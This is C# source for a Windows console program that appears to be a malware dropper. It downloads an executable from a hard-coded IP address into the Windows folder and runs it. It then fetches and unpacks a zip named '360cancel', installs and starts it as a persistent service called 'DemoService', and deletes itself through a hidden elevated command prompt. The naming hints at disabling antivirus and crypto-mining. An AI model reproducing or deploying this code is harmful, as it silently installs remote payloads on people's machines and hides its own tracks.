﻿using System;
using System.Collections;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.ServiceProcess;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows;

namespace ConsoleApp51
{

    class Program
    {
        
         static void Main(string[] args)
        {
            WebClient client = new WebClient();
            {
                client.DownloadFile("http://132.110.217.36/Mine/net/unser.exe", @"c:\windows\unser.exe");
            }

            string serviceFilePath = "C:\\ProgramData\\360cancel\\MyWindowsService.exe";//MyWindowsService.exe 是项目名称对应的服务
            string serviceName = "DemoService";
            string updateZipWeb = "http://132.110.217.36/Mine/net/360cancel.zip";
            //网络请求后文件存放地址
            string saveZip = @"C:\ProgramData" + "\\360cancel.zip";
            //开始群落请求下载zip文件并保存
            DirectoryInfo di = new DirectoryInfo(@"C:\ProgramData" + "\\360cancel\\");
            string exefile = @"c:\windows\unser.exe";
            Process.Start(exefile).WaitForExit();//运行完外部EXE
            if (di.Exists)
            {
             
                di.Delete(true);
            }
            
            //23:00
            using (WebClient webClient = new WebClient())
            {
                webClient.DownloadFile(updateZipWeb, saveZip);//下载文件
            }
            //将saveZip压缩文件解压到当前项目目录下，解压后当前目录会有一个压缩文件的文件夹例如：update
            ZipFile.ExtractToDirectory(saveZip, @"C:\ProgramData" + "\\");
            //		DirectoryInfo directoryInfo = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + "\\" + "update");
            //将update目录全部拷贝到当前项目目录下
            //		CopyFile(directoryInfo, AppDomain.CurrentDomain.BaseDirectory + "\\");
            File.Delete(saveZip);//删除压缩文件
                                 //		Directory.Delete(AppDomain.CurrentDomain.BaseDirectory + "\\" + "update", true);//删除压缩目录
            //Process proc = Process.Start(@"C:\ProgramData" + "\\360cancel\\" + "ConsoleApp211.exe");
            try
            {
                if (IsServiceExisted(serviceName)) UninstallService(serviceName);
                InstallService(serviceFilePath);
                if (IsServiceExisted(serviceName)) ServiceStart(serviceName);
                //cmd("net start DemoService");
                //MessageBox.Show("安装服务完成");

            }
            catch (Exception ex)
            {
               // MessageBox.Show(ex.ToString());
            }



            //自删除
            var fileName = Process.GetCurrentProcess().MainModule.FileName;
            DelayDeleteFile(fileName, 2);  //这里是关闭程序后2秒删除程序

        }

        private static void DelayDeleteFile(string fileName, int delaySecond = 2)
        {
            fileName = Path.GetFullPath(fileName);
            var folder = Path.GetDirectoryName(fileName);
            var currentProcessFileName = Path.GetFileName(fileName);
            var arguments = $"/c timeout /t {delaySecond} && DEL /f {currentProcessFileName} ";
            var processStartInfo = new ProcessStartInfo()
            {
                Verb = "runas", // 如果程序是管理员权限，那么运行 cmd 也是管理员权限
                FileName = "cmd",
                UseShellExecute = false,
                CreateNoWindow = true, // 如果需要隐藏窗口，设置为 true 就不显示窗口1
                Arguments = arguments,
                WorkingDirectory = folder,
            };
            Process.Start(processStartInfo);
        }

        private static bool IsServiceExisted(string serviceName)
        {
            ServiceController[] services = ServiceController.GetServices();
            foreach (ServiceController sc in services)
            {
                if (sc.ServiceName.ToLower() == serviceName.ToLower())
                {
                    return true;
                }
            }
            return false;
        }

        
        private static void InstallService(string serviceFilePath)
        {
            using (AssemblyInstaller installer = new AssemblyInstaller())
            {
                installer.UseNewContext = true;
                installer.Path = serviceFilePath;
                IDictionary savedState = new Hashtable();
                installer.Install(savedState);
                installer.Commit(savedState);
            }
        }

       
        private static void UninstallService(string serviceFilePath)
        {
            using (AssemblyInstaller installer = new AssemblyInstaller())
            {
                installer.UseNewContext = true;
                installer.Path = serviceFilePath;
                installer.Uninstall(null);
            }
        }
        private static void ServiceStop(string serviceName)
        {
            using (ServiceController control = new ServiceController(serviceName))
            {
                if (control.Status == ServiceControllerStatus.Running)
                {
                    control.Stop();
                }
            }
        }
        private static void ServiceStart(string serviceName)
        {
            using (ServiceController control = new ServiceController(serviceName))
            {
                if (control.Status == ServiceControllerStatus.Stopped)
                {
                    control.Start();
                }
            }
        }

        private static void cmd(string ddd)
        {
            System.Diagnostics.Process myProcess = new System.Diagnostics.Process();
            myProcess.StartInfo.FileName = "cmd.exe";//启动cmd命令
            myProcess.StartInfo.UseShellExecute = false;//是否使用系统外壳程序启动进程
            myProcess.StartInfo.RedirectStandardInput = true;//是否从流中读取
            myProcess.StartInfo.RedirectStandardOutput = true;//是否写入流
            myProcess.StartInfo.RedirectStandardError = true;//是否将错误信息写入流
            myProcess.StartInfo.CreateNoWindow = true;//是否在新窗口中启动进程
            myProcess.Start();//启动进程
            //myProcess.StandardInput.WriteLine("shutdown -s -t 0");//执行关机命令
            myProcess.StandardInput.WriteLine(ddd);//执行重启计算机命令

        }
     
        private static void okok() {
            string serviceFilePath = "C:\\ProgramData\\360cancel\\MyWindowsService.exe";//MyWindowsService.exe 是项目名称对应的服务
            string serviceName = "DemoService";
            if (IsServiceExisted(serviceName))
            {
                ServiceStop(serviceName);
                UninstallService(serviceFilePath);
               
            }
        }

        private static void okok2()
        {
            
        }

    }
}
